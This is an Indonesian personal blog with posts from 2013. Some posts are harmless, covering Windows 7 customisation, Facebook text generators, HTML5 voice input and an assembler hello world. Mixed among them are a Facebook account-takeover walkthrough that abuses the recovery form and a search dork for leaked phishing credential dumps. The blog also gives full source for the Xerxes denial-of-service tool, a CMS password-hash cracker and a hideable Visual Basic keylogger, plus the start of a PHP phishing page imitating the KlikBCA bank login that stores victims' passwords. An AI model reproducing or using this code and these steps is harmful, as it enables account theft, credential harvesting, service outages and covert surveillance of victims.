Arvan Septiandii

Laki-laki

Bali, Indonesia

Banggalah pada dirimu sendiri, Meski ada yang tak Menyukai. Kadang mereka membenci karena Mereka tak mampu menjadi seperti dirimu.
::
Start
Arvan Septiandii
Shutdown

Navbar3

Cari Blog Ini

Senin, 18 Februari 2013

Hack Facebook mudah

Pertama-tama,  Gue  ingin katakan adalah ini bukan hacking, ini disebut 
"Mengembalikan".Mengembalikan berarti mengurai efek dari satu atau lebih 
suntingan, yang biasanya hasil di halaman yang dikembalikan ke versi yang 
kadang-kadang ada sebelumnya. tanpa keylogging / phishing dll.semoga 
tutorial ini masih bisa di gunakan pada facebook yang sekarang, Gue di sini 
hanya inging berbagi saja pada teman-teman semua. 



Note :  
Tutorial ini untuk tujuan pendidikan saja,  Gue  TIDAK bertanggung jawab 
dengan cara apapun untuk bagaimana informasi ini digunakan, 
menggunakannya di risiko Anda sendiri, Anda juga dapat belajar 
bagaimana mendapatkan akun Anda kembali dari ini.

Langkah 1 :  
Bukalah halaman facebook ini

http://www.facebook.com/help/contact.php?show_form=hack_login_chan ged 
maka:
Note : 
Pastikan anda dalam keadaan TIDAK login 

Langkah 2 :  
Email korban. Tuliskan email anda atau email korban yang akan anda hack

Langkah 3 :  
Apakah Anda dapat mengirim dan menerima email dari alamat email Anda 
login? Pilih saja “No” (liat gambar langkah 4) 

Langkah 4 :  
Apakah alamat email login yang biasa Anda gunakan untuk log in ke 
account Anda telah hacked? Pilih saja “yes”

Jumat, 15 Februari 2013

cara maling hasil fake login orang Versi 2


Ada Cara KEDUA

      cara maling hasil fake login orang
apa itu fake login kalau g salah fake loginitu kaya sejenisnya phising
sebelumnya kan ane udah pernah SHARED - Cukup mudah  cara maling hasil fake login orang Versi 2 ini dan sekarang masih WORK
saya memkai cara ini cuma buat make auto invit di grup ajah
biar banyak gitu anggotanya hahahha
Jangan untuk di buwat HACK fb nya kasihan si Korban cukup buwat nambah member grup aja biar sampek ribuan juta haha:D
langsung ajah gan 
pertama kamu masuk
di situ ngapain  ..ini dia saatnya beraksi
copy code iini  

intext:Email: Password: IP Address: Date Submitted:+++++­+++++++++++++++­+++++++++++++++­+++++++++++++++­++ ext:txt

kalau udah di enter pilih saja yang mana ajah data email ama paswort fb orang
ingat gan gunakan cara ini
hanya buat pengetahuan ajah 
jangan pernah menggatia paswort fb orang kasian kan
buat iseng ajah invit grup biar membernya banyak 
hahahaha

udah yah kalau anda yang di tanyain masalah fb dan sebagainya 
silahkan join saja di my grup

Rabu, 13 Februari 2013

Sricpt PhotoShop di Blog



<iframe id="kode" type="text/html" width="97%" height="600px" src="http://pixlr.com/editor/" frameborder="0"></iframe>

Selasa, 12 Februari 2013

Software Untuk Mempercantik Windows 7

1. Download Themes Windows 7.

Cara paling gampang untuk memperindah tampilan desktop komputer adalah dengan mengganti themes yang ada. Namun jika kalian telah bosan dengan tampilan atau pilihan yang ada hanya itu itu saja, Bagi pengguna OS Windows 7 kalian dapat mendownload themes baru langsung dari Microsoft’s Personalization Gallery. Berikut cara untuk mendownloadnya langsung dari komputer kalian.
  1. Di area desktop klik kanan dan pilih menu Personalize
  2. Window baru My Themes akan muncul dan klik di tulisan Get more themes online.
  3. Link tersebut akan membuka situs Microsoft dimana kalian dapat mendownload banyak themes baru.
  4. Tahap terakhir pilik themes yang akan di download dan save file tersebut.
Atau kalian dapat mendownload themes windows 7 di :



2. Menggunakan Stardock Object Dock.

6 Tools Untuk Mempercantik Windows 7 Anda


Cukup dengan tools gratis di berikut, anda bisa membuat group icon dengan tampilan animasi saat diklik, Indikator-indikator laptop anda mulai dari kapasitas hardisk, CPU meter, memory usage, time, network connection viewer, dan lain sebagainya yang kesemuanya itu bisa diubah sesuai kemauan anda. ikuti saja langkah-langkah berikut ini :
Membuat tampilan desktop minimalis1. Download dan install dahulu program Stardock Object Dock Klik disini.


2. Untuk membuat tampilan Object Dock lebih menarik, download Stack Docklets, ekstrak hasil download
tadi dan letakkan folder StackDocklet di C: Program Files/Stardock/ObjectDock/Docklets.

3. Klik kanan pada ObjectDock dan pilih New “Stack” Docklets.
4. Buatlah sebuah folder baru yang berisi link dari program-program yang telah terinstal di laptop/PC anda. Mis; Folder Music, isinya link ke WinAmp, Audacity, Virtual Dj, dan Folder Office berisi link ke Word 2007, Excel 2007,TransTools,dst sesuai keinginan anda. Di sini saya membuat lima folder, yaitu Office, Internet, Graphic, Music, Game dan Tools.


5. Klik kanan di icon Stack yang tadi telah dibuat, klik Dock Entry Properties.

6. Pada kolom Folder, Browse ke tempat dimana anda simpan folder yang berisi link ke program lain yang tadi anda buat. Pada kolom Icon, pilih icon sesuai keinginan anda. Ubah mode menjadi grid (tampilan icon program tersusun dalam kotak segi empat) atau fan (icon program tersusun memanjang). Lakukan perubahan pada semua Stack Docklet yang telah anda buat tadi.

7. Langkah terakhir, klik kanan di desktop anda, pilih view, hilangkan centang show desktop icon. Selesai !

kini tampilan desktop Anda tampak lebih elegan dan minimalis bukan?

Untuk ulasan tampilan indikator CPU akan saya bahas nanti…. selamat mencoba!

3. Windows 7 Circle Dock Bar.

Dengan Windows 7 Circle dock bar icon di desktop dapat dipindahkan ke dalam sebuah lingkaran yang mernyerupai bentuk jam dinding, dari aplikasi ini shortcut yang disimpan didalamnya dengan cara drag and drop dapat dijalan secara langsung. Dengan demikian tampilan desktop yang semula berisi banyak folder yang tidak tertata dengan rapi dapat diminimalisasi dengan aplikasi ini.


6 Tools Untuk Mempercantik Windows 7 Anda



Beberapa fitur yang terdapat di aplikasi ini antara lain:



1. Untuk menambahkan File hanya memerlukan drag dan drop shorcut atau folder.




2. Dapat diputar dengan dengan menggunakan scroll di mouse



3. Dapat dijalankan di windows 7, windows vista dan windows xp



4. Aplikasi dapat langsung dijalankan dari circle dock ini







4. Windows Gadgets.


6 Tools Untuk Mempercantik Windows 7 Anda


Salah satu fitur Windows 7 yang tidak dimiliki oleh sistem operasi pendahulunya adalah fitur Gadgets. Gadgets ini adalah sebuah aplikasi mini yang dirancang dan memiliki fungsi tertentu. Gadgets biasanya digunakan untuk mempercantik desktop atau sebagai hiburan namun selain itu gadgets juga memiliki berbagai jenis dan fungsi tersendiri seperti berfungsi sebagai jam, timer/stopwatch, kalender, pengukur suhu hardisk, pemantau cuaca, permainan atau bahkan sebagai sebuah galery mini.

Secara default Windows 7 hanya menyediakan beberapa gadgets yang bisa dipasang di desktop anda, namun bagi anda yang sering ber-eksplorasi, andapun bisa menambahkannya. Bagi anda yang mencari fungsi gadget tertentu yang tidak ada didalam gadgets bawaan Windows 7, anda bisa dengan mudah mendownloadnya di internet.
Beberapa situs yang menyediakan gadgets di internet :


Selain beberapa situs diatas, anda bisa mencarinya dengan bantuan google dengan menggunakan keyword: “free windows 7 gadgets”. File gadgets memiliki ekstensi .gadget, sebelum dapat menggunakannya anda harus menginstallnya terlebih dahulu, cara menginstallnya-pun sangat mudah, cukup dengan menjalankan file gadget yang telah di download dan secara otomatis gadget tersebut akan muncul didalam daftar gadget yang ada, untuk menambahkannya ke desktop, cukup tarik atau double click gadgets yang akan dipasang dan secara otomatis gadgets tersebut akan ditambahkan ke desktop anda. Mudah bukan?

Selamat berburu gadgets.


5. Mempercantik dengan Start Menu 7 PRO

6 Tools Untuk Mempercantik Windows 7 Anda


Mempercantik Start Menu di windows 7 dengan Start menu 7 pro plus keygen.


Fasilitas Start Menu 7:


  • Daftar item menu abjad disortir, sehingga Anda dapat dengan mudah menemukan program atau perintah dengan namanya.
  • Buka setiap lokasi pada PC Anda dengan satu klik.
  • Anda dapat membuat, mengubah, dan menyusun ulang item di Menu 7. Jadi mudah untuk membuat daftar lokasi yang paling digunakan, direktori populer, dan virtual folder untuk mengaksesnya dengan satu klik.
  • Ada tombol Jalankan khusus untuk mengakses lokasi jarang digunakan tanpa menambahkannya ke dalam menu.
  • Start Menu 7 memiliki sebuah panel Power disesuaikan Buttons.
  • Power Timer, Dengan fitur ini Anda dapat menunda operasi manajemen daya.
6 Tools Untuk Mempercantik Windows 7 Anda

6. Seven Conifier.

6 Tools Untuk Mempercantik Windows 7 Anda

Apakah anda merasa bosan melihat icon-icon taskbar pada windows 7 yang selalu sama??? Ya, saya pun merasakan hal yang sama pula. Semua software yang ada di taskbar memang memunculkan icon-iconnya sendiri. 7Confiner solusinya, aplikasi ini akan mengganti icon tasbar dan start menu 7 anda tanpa merubah animasi apapun!!!

6 Tools Untuk Mempercantik Windows 7 Anda
Di dalam 7Confiner ini, terdapat 3 themes default yaitu Eclipse 2, Token Dark dan Token Light. Cara installnya pun cukup mudah, cukup memilih themes yang anda suka dan “Apply” saja. Silakan didownload:

cara memBuat Status Facebook Bulat Bundar


https://lh3.googleusercontent.com/-5w5vnI8PLbc/T93Fy1_CzaI/AAAAAAAAC0U/F9GkOcXQbRw/s210/1a.gif

Kadang kalau kita buat status di facebook pasti tulisannya biasa-biasa saja.Nah kali saya berikan sebuat teks generator yang berfungsi untuk membuat teks status anda menjadi teks berbentuk bundar,jadi kelihatan lebih seru aja J.



Nah,,langsung saja ketikkan status anda dibawah ini kemudian copy-vaste ke facebook anda.



Teks Bundar Generator
Tulis Status Anda disini
Copy dan Paste Hasilnya untuk jadi Status Anda


Copyright © 2012 All Rights Reserved by Abed Saragih @ arvan septiandi

Semoga berhasil.

facebook chat generator


cara membuat teks terbalik

Flip Text » Teks Terbalik
Text Terbalik
Masukkan text:
Hasil:
Share

cara membuat tulisan kotak

make your font writing box:

copy paste to status or comment in your facebook

MUSIC


Gak usah liatin gue gan,di cuekin aja..

DDOS Tools: Xerxes DOS Tools

Berikut ini adalah source code Xerxes DOS (DDOS Tools) yang digunakan untuk melakukan DOS terhadap server-server. Digunakan oleh The Jester untuk takedown situs-situs, langsung aja ini source codenya:
/* XerXes – Most powerful dos tool – THN (http://pastebin.com/aWZMbjSU) */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int make_socket(char *host, char *port) {
    struct addrinfo hints, *servinfo, *p;
    int sock, r;
//    fprintf(stderr, “[Connecting -> %s:%s\n", host, port);
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
        exit(0);
    }
    for(p = servinfo; p != NULL; p = p->ai_next) {
        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
            continue;
        }
        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
            close(sock);
            continue;
        }
        break;
    }
    if(p == NULL) {
        if(servinfo)
            freeaddrinfo(servinfo);
        fprintf(stderr, "No connection could be made\n");
        exit(0);
    }
    if(servinfo)
        freeaddrinfo(servinfo);
    fprintf(stderr, "[Connected -> %s:%s]\n”, host, port);
    return sock;
}
void broke(int s) {
    // do nothing
}
#define CONNECTIONS 8
#define THREADS 48
void attack(char *host, char *port, int id) {
    int sockets[CONNECTIONS];
    int x, g=1, r;
    for(x=0; x!= CONNECTIONS; x++)
        sockets[x]=0;
    signal(SIGPIPE, &broke);
    while(1) {
        for(x=0; x != CONNECTIONS; x++) {
            if(sockets[x] == 0)
                sockets[x] = make_socket(host, port);
            r=write(sockets[x], “\0″, 1);
            if(r == -1) {
                close(sockets[x]);
                sockets[x] = make_socket(host, port);
            } else
//                fprintf(stderr, “Socket[%i->%i] -> %i\n”, x, sockets[x], r);
            fprintf(stderr, “[%i: Voly Sent]\n”, id);
        }
        fprintf(stderr, “[%i: Voly Sent]\n”, id);
        usleep(300000);
    }
}
void cycle_identity() {
    int r;
    int socket = make_socket(“localhost”, “9050″);
    write(socket, “AUTHENTICATE \”\”\n”, 16);
    while(1) {
        r=write(socket, “signal NEWNYM\n\x00″, 16);
        fprintf(stderr, “[%i: cycle_identity -> signal NEWNYM\n", r);
        usleep(300000);
    }
}
int main(int argc, char **argv) {
    int x;
    if(argc !=3)
        cycle_identity();
    for(x=0; x != THREADS; x++) {
        if(fork())
            attack(argv[1], argv[2], x);
        usleep(200000);
    }
    getc(stdin);
    return 0;
}

Video Xerxes Dos

http://vimeo.com/17268609 

Semoga informasi ini bermanfaat sebagai pembelajaran yang lebih baik.

Multiple CMS Hash Cracker

Berikut ini adalah source untuk MD5/SHA-1 Cracker yang dibuat untuk Crack Content Management System Hash seperti Joomla, WordPress, Drupal, Dsb. Jadi bisa mempermudah pencarian hash, langsung aja deh :)
#!usr/bin/perl
use Digest::MD5 qw(md5_hex);
use Digest::SHA1 qw(sha1_hex);
# Author: localh0t
# Date: 09/06/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# Help
if(!$ARGV[7])
{
print “\n\n###########################################”;
print “\n# Multi CMS Hash Cracker v0.1 by localh0t #”;
print “\n###########################################”;
print “\n\nUse: perl $0 -d [WORLDLIST FOLDER] -h [MD5 | SHA-1 HASH] -s [SALT | USERNAME] -c [CMS]\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h caef8544a8e65e23f67ab844d4866e8d -s uZ*qX -c IPB\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h dc4a27b25e3f780b89c165f931d6f85d5bd6e33e -s Administrator -c SMF\n\n”;
print “Note: Worlists must end with .txt or .lst (or any extension)\n\n”;
print “Support:\n========\n”;
print “VB : md5_hex(md5_hex(password).salt) | (vBulletin)\n”;
print “SMF : sha1_hex(user.password) | (Simple Machines Forum)\n”;
print “IPB : md5_hex(md5_hex(salt).md5_hex(password)) | (Invision Power Board)\n”;
print “JOOMLA : md5_hex(password.salt) | (Joomla 1.x)\n\n”;
exit(0);
}
# Functions
sub ipb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($salt).md5_hex($password));
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub vb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($password).$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub smf_cracker{
my $hash = shift;
my $user = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = sha1_hex($user.$password);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
sub joomla_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex($password.$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}
my ($dir, $hash, $salt, $cms, $arg);
foreach $loop (@ARGV) {
for ($loop) {
/^-d$/ and do { $dir = $ARGV[($arg+1)]; last; };
/^-h$/ and do { $hash = $ARGV[($arg+1)]; last; };
/^-s$/ and do { $salt = $ARGV[($arg+1)]; last; };
/^-c$/ and do { $cms = $ARGV[($arg+1)]; last; };
}
$arg++;
}
# Main
print “\n[!] Cracking $hash with $salt as username/salt…\n\n”;
opendir(DIR, $dir) || die “\n[-] Folder not found\n\n”;
while($file = readdir(DIR)) {
if ($file ne ‘.’ and $file ne ‘..’) {
$FILES[$clean] = $file;
$clean++;
}
}
for ($cms) {
/^IPB$/ and do { $result = &ipb_cracker($hash,$salt,$dir); last; };
/^VB$/ and do { $result = &vb_cracker($hash,$salt,$dir); last; };
/^SMF$/ and do { $result = &smf_cracker($hash,$salt,$dir); last; };
/^JOOMLA$/ and do { $result = &joomla_cracker($hash,$salt,$dir); last; };
/^.$/ and do { print “[-] CMS not available\n”; exit(0); last; };
}
print $result;
# Exit
close(DICT);
closedir(DIR);
exit(0);
__END__
Bagaimana Penggunaannya? Berikut Petunjuknya:
  1. Install Perl Di Komputer Anda, Dengan Mendownload Perl. Untuk Linux Biasanya Sudah Terinstall, Di Windows Silakan Download Disini: http://www.activestate.com/activeperl/downloads
  2. Simpan File Tersebut “cmsdir.pl
  3. Ikuti Langkah Berikut:

Silakan Download Tools / Source Code:

Menambahkan Voice Transcription di Input Box

Seperti yang anda semua tahu, HTML 5 merupakan versi terbaru dari bahasa HTML yang menambahkan berbagai macam tag-tag yang membuat website bisa jauh lebih interaktif tanpa memerlukan bantuan plugin seperti Flash, Silverlight atau Java (bukan JavaScript ya…).
Nah, salah satu dari HTML 5 ini adalah Voice Transcription. Sampai sekarang memang Voice Transcription ini masih hanya berfungsi pada browser Google Chrome. Mungkin Firefox, Opera, Internet Explorer serta Safari akan menyusul nanti…
Untuk membuatnya sebenarnya sangatlah mudah! Anda hanya perlu menambahkan sebuah tambahan pada tag <input>. Jari-jemari ga perlu capek hanya untuk menulisnya karena hanya sedikit saja yang perlu ditambahkan…
Oke, daripada kebanyakan ngomong teori (sebagian besar orang bosen dengan teori) maka dari itu kita langsung lompat ke Prakteknya saja. Kita mulai dengan membuat form sederhana yang isinya adalah sebuah input box dan submit button.
<html>
<head>
<title>Contoh HTML5 Voice Transcription</title>
</head>
<body>
<h1>Voice Transcription</h1>
<form>
<input type=”input” name=”contohinput” /><br/><input type=”submit” name=”contohsubmit”/>
</form>
</body>
</html>
Hasilnya adalah seperti ini:

Yap! Cuma sekedar page dengan input box biasa ditambah submit button yang juga biasa (NB: Memang submit buttonnya tidak akan kita apa-apain. Yang kita ubah hanya input boxnya saja). Sekarang waktunya kita menambahkan Voice Transcription pada input boxnya. Mari kita ubah…
Waktunya fokus kembali pada script input boxnya:
<input type=”input” name=”contohinput” />
Untuk menambahkan Voice Transcription maka kita harus menambahkan “x-webkit-speech” (tanpa tanda petik) ke tag input boxnya sehingga scriptnya menjadi seperti ini:
<input type=”input” name=”contohinput” x-webkit-speech/>
Sehingga secara keseluruhan scriptnya menjadi seperti ini:
<html>
<head>
<title>Contoh HTML5 Voice Transcription</title>
</head>
<body>
<h1>Voice Transcription</h1>
<form>
<input type=”input” name=”contohinput” x-webkit-speech/><br/><input type=”submit” name=”contohsubmit”/>
</form>
</body>
</html>
Nah, mari kita coba Save dan uji coba (lagi)

Sudah deh, nongol gambar Microphone di Input Boxnya. Coba klik Microphonenya dan katakanlah sesuatu (dalam Bahasa Inggris) dan lihat hasilnya… Mantap bukan?
Itu hanyalah contoh sederhana dari penggunaan Voice Transcription HTML5. Kita bisa mengembangkannya lagi menjadi sesuatu yang lebih baik seperti untuk situs dictionary, dsb. Pokoknya, tergantung imajinasi deh :)
Terima kasih sudah membaca artikel buatan saya…

Membuat Key Logger Dengan Visual Basic

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..
  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE

  4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
  5. Copas seluruh Code di bawah ini :
    Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib “user32″ () As Long
    Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
    Private hForegroundWnd As Long
    Private backs As BooleanPrivate Sub Command1_Click()
    Timer1.Enabled = True
    End SubPrivate Sub Command2_Click()
    Timer1.Enabled = False
    End SubPrivate Sub Command3_Click()
    backs = True
    End SubPrivate Sub Command4_Click()
    backs = False
    End SubPrivate Sub Form_Load()
    backs = True
    End SubPrivate Sub Label1_Click()
    End Sub
    Private Sub Label4_Click()
    End Sub
    Private Sub Label6_Click()
    Timer1.Enabled = True
    End Sub
    Private Sub Label7_Click()
    Timer1.Enabled = False
    End Sub
    Private Sub Label8_Click()
    backs = True
    End Sub
    Private Sub Label9_Click()
    backs = False
    End Sub
    Private Sub Text1_Change()
    Text1.SelStart = 0
    Text1.SelLength = Len(Text1.Text)
    End Sub
    Private Sub Timer1_Timer()
    Dim x, x2, i, t As Integer
    Dim win As Long
    Dim Title As String * 1000
    win = GetForegroundWindow()
    If (win = hForegroundWnd) Then
    GoTo Keylogger
    Else
    hForegroundWnd = GetForegroundWindow()
    Title = “”
    GetWindowText hForegroundWnd, Title, 1000
    Select Case Asc(Title)
    Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
    Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
    Text1.Text = Text1.Text & " ]” & vbCrLf
    End Select
    End If
    Exit Sub
    Keylogger:
    For i = 65 To 90
    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)
    If x = -32767 Then
    If x2 = -32768 Then
    Text1.Text = Text1.Text & Chr(i)
    Else: Text1.Text = Text1.Text & Chr(i + 32)
    End If
    End If
    Next
    For i = 8 To 222
    If i = 65 Then i = 91
    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)
    If x = -32767 Then
    Select Case i
    Case 48
    Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
    Case 49
    Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
    Case 50
    Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
    Case 51
    Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
    Case 52
    Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
    Case 53
    Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
    Case 54
    Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
    Case 55
    Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
    Case 56
    Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
    Case 57
    Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
    Case 112: Text1.Text = Text1.Text & ” F1 “
    Case 113: Text1.Text = Text1.Text & ” F2 “
    Case 114: Text1.Text = Text1.Text & ” F3 “
    Case 115: Text1.Text = Text1.Text & ” F4 “
    Case 116: Text1.Text = Text1.Text & ” F5 “
    Case 117: Text1.Text = Text1.Text & ” F6 “
    Case 118: Text1.Text = Text1.Text & ” F7 “
    Case 119: Text1.Text = Text1.Text & ” F8 “
    Case 120: Text1.Text = Text1.Text & ” F9 “
    Case 121: Text1.Text = Text1.Text & ” F10 “
    Case 122: Text1.Text = Text1.Text & ” F11 “
    Case 123: Text1.Text = Text1.Text & ” F12 “
    Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
    Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
    Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
    Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
    Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
    Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
    Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
    Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
    Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
    Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
    Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
    Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
    Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
    Case 13: Text1.Text = Text1.Text & vbCrLf
    Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
    Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
    Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
    Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
    Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
    Case 32: Text1.Text = Text1.Text & ” “
    Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
    Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
    Case 35: Text1.Text = Text1.Text & ” [ End ] “
    Case 36: Text1.Text = Text1.Text & ” [ Home ] “
    Case 37: Text1.Text = Text1.Text & ” [ Left ] “
    Case 38: Text1.Text = Text1.Text & ” [ Up ] “
    Case 39: Text1.Text = Text1.Text & ” [ Right ] “
    Case 40: Text1.Text = Text1.Text & ” [ Down ] “
    Case 41: Text1.Text = Text1.Text & ” [ Select ] “
    Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
    Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
    Case 46: Text1.Text = Text1.Text & ” [ Del ] “
    Case 47: Text1.Text = Text1.Text & ” [ Help ] “
    Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
    End Select
    End If
    Next
    End Sub
    Private Sub Timer2_Timer()
    Dim a, b, x As Long
    a = GetAsyncKeyState(120)
    b = GetAsyncKeyState(121)
    x = GetAsyncKeyState(16)
    If a = -32767 And x = -32768 Then Me.Hide
    If b = -32767 And x = -32768 Then Me.Show
    End Sub
  6. Jalankan dengan menekan tombol F5
  7. Live demo bisa di download disini :
Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…

Program Penampil Text Dengan Assembler

Kali ini saya akan berbagi mengenai cara membuat program penampil text dengan menggunakan bahasa assembler. Detailnya mari kita pelajari bersama.

Bahasa Assembler adalah bahasa pemograman tingkat rendah dimana hanya sedikit orang yang menguasai bahasa ini jika dibandingkan dengan para
programmer secara keseluruhan, dengan bahasa assembler maka program yang anda hasilkan lebih optimal dan lebih kecil dibandingkan dengan berbagai
macam bahasa pemograman lainnya. Untuk pertama kali anda downloadlah program Turbo Assembler, setelah itu ada 2 file *.EXE yang sangat penting yaitu :
TASM.EXE (Untuk mengcompile file tahap 1 untuk menjadikan file ASM menjadi OBJ)
TLINK.EXE (Untuk mengcompile file tahap 1 untuk menjadikan file OBJ menjadi EXE) Sebelum memulai kita buat dahulu source code assembler dengan MS-DOS
EDITOR atau NOTEPAD, saran penulis lebih baik menggunakan MS-DOS Editor agar kita terbiasa di mode DOS. Sekarang pastikan kita pada directory program Turbo Assembler, disitu kita buat file tulis.asm (Dalam Turbo Assembler tidak mendukung file dengan nama panjang, gunakan nama file yang singkat), Saat ini langsung aja masuk ke MSDOS Editor caranya ketik dibawah ini di DOS.
edit tulis.asm
Setelah itu muncul program MS-DOS Editor, disitu kita ketikkan source code dibawah ini
.MODEL small
.STACK 100h
.DATA
HelloMessage DB ‘Saya belajar Bahasa Assembler lho’,13,10,’$’
.CODE
mov ax,@data
mov ds,ax ;set DS to point to the data segment
mov ah,9 ;DOS print string function
mov dx,OFFSET HelloMessage ;point to “Hello, world”
int 21h ;display “Hello, world”
mov ah,4ch ;DOS terminate program function
int 21h ;terminate the program
END
Setelah itu kita save file tulisanku.asm dan keluar dari MS-DOS Editor, sekarang
juta harus mengcompile file tulisanku.asm sebanyak 2x
(biasanya di bahasa pemograman tingkat tinggi hanya 1x).
Cara mengcompile tahap pertama, ketikkan :
tasm tulis.asm
Jika berhasil maka muncul tulisan dibawah ini

Setelah sukses kita akan mendapat file tulis.obj domana file tulis.obj akan kita
compile lagi menjadi file EXE caranya akan melakukan compile tahap kedua
dengan mengetikkan :
tlink tulis.obj
Jika berhasil akan muncul tampilan dibawah ini

Setelah berhasil kita ketikkan:
tulis
Hasil dari kita mengetikkan tulis pada perintah DOS maka muncul kalimat “Saya belajar Bahasa Assembler Lho
Inilah contoh percobaan kita untuk mengenal bahasa Assemble

Phishing Attack: Login Overflow

Phishing!! Yeah, pasti sudah tahu kan apa artinya phishing?
Kalau belum tahu silahkan check it http://en.wikipedia.org/wiki/Phishing
Saya akan berbagi coding sederhana php dan database mysql dalam proses overflow. Data Korban akan di simpan ke dalam database, jadi sebelumnya kalian harus membuat database yang sesuai dengan Login Phishing.
DFD Phishing

Ketika korban terjebak dengan login phishing, web browser korban akan crash dan CPU Range Korban menjadi 100%.

Sebagai contoh saya akan demonstrasi phishing pada KLIKBCA
bca

Membuat 3c.php
<?php
include “koneksi.php”;
$User = $_POST['UserId'];
$passwd = $_POST['passwd'];
$ip = getenv(REMOTE_ADDR);
$tgl = date(“j F Y, g:i a”);
$query = “INSERT INTO hack (user, passwd, ip, tgl) VALUES (‘$User’, ‘$passwd’, ‘$ip’, ‘$tgl’)”;
